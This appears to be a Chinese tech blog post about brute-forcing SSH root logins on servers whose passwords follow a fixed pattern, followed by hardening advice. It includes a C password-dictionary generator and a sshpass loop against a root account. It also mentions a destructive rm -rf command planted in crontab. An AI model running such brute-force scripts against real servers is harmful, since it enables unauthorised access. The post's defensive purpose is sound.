[引言] 有的小公司为图方便记忆和使用,服务器使用固定组合规则的root密码(开发/运维人员偷懒),且sshd:22外网开放。例如:已知某密码组合规则为ab124578, 共8位, 前2位字母,后6位数字, 进一步分析得知前4位为hostname。 [搭建环境测试] 安装sshpass( 用于非交互的ssh 密码验证)和生成简单的密码字典尝试暴力破解取得本地虚拟机密码。以下是简单的c和shell例子, 效率较低, 实际运用中会改写成多进程/多线程形式。 [makedic.c] view sourceprint?01 #include <stdio.h> 02 #include <string.h> 03 #include <stdlib.h> 04 05 int main(void) 06 { 07 int i,j,k,l,cnt=0; 08 char tmp[5]=""; 09 FILE *fd= fopen("xx.txt","a+"); 10 11 if ( fd == NULL ) 12 { 13 printf("fopen error!\n"); 14 return -1; 15 } 16 17 for ( i=0;i<=9;i++) 18 { 19 for ( j=0;j<=9;j++) 20 { 21 if ( j==i ) 22 continue; 23 for ( k=0;k<=9;k++) 24 { 25 if ( k==i || k==j ) 26 continue; 27 for ( l=0;l<=9;l++) 28 { 29 if ( l==i || l==j || l==k ) 30 continue; 31 sprintf( tmp, "%d%d%d%d",i,j,k,l); 32 printf("%d,%s\n",++cnt,tmp); 33 fwrite(tmp,strlen(tmp),1,fd); 34 fwrite("\r\n",1,2,fd); 35 } 36 } 37 38 } 39 } 40 fclose(fd); 41 42 return 0; 43 } [getpwd.sh] view sourceprint?01 #! /bin/sh 02 ##预先安装sshpass,且pwd固定规则&已生成密码字典 03 04 n=0 05 for pwd in `cat /home/xx.txt` 06 do 07 echo "n=$n,pwd=$pwd" 08 sshpass -p $pwd ssh root@172.20.x.x 09 if [ $? == 0 ] 10 then 11 echo "$pwd is the pwd!!!" 12 break 13 fi 14 n=$[$n+1] 15 done [建议措施] 1. sshd只监听内网, 外网使用通过申请vpn访问。 (1) vi /etc/ssh/sshd_config ; ListenAddress 172.20.x.x; service sshd restart; (2) 也可通过iptables设置 2. 服务器账号专人专号,不准合用和借用, 按满足需求的最小权限开放。root只能系统组人员使用。(包括数据库的权限管理,类似) 3. root密码用专业工具生成,复杂无规律。如:re(c,ol*tx242s。 个人或局域网内的开发测试机(192.168.x.x)则可以不用这么复杂。 4. 定期检查系统log, /etc/passwd和history, netstat等等。(我开发的,不是专业运维和信安,个人经验而已..) 5. 重要日志或操作记录最好也做下定时备份转移, 统一归档分析处理. 6. 重要程序和数据,配置等, 一定要本地, 异地, 多台备份. 有遇到过前同事在系统crontab中插入恶意程序和脚本. 可能是调用system("rm -rf /xxxx"),且指定日期后才生效. 修补数据真要命. 7. 人员异动离职,一定要做账号清查和相应的密码修改. 对事不对人. 8. 事出异常必有妖! (责任编辑:IT) |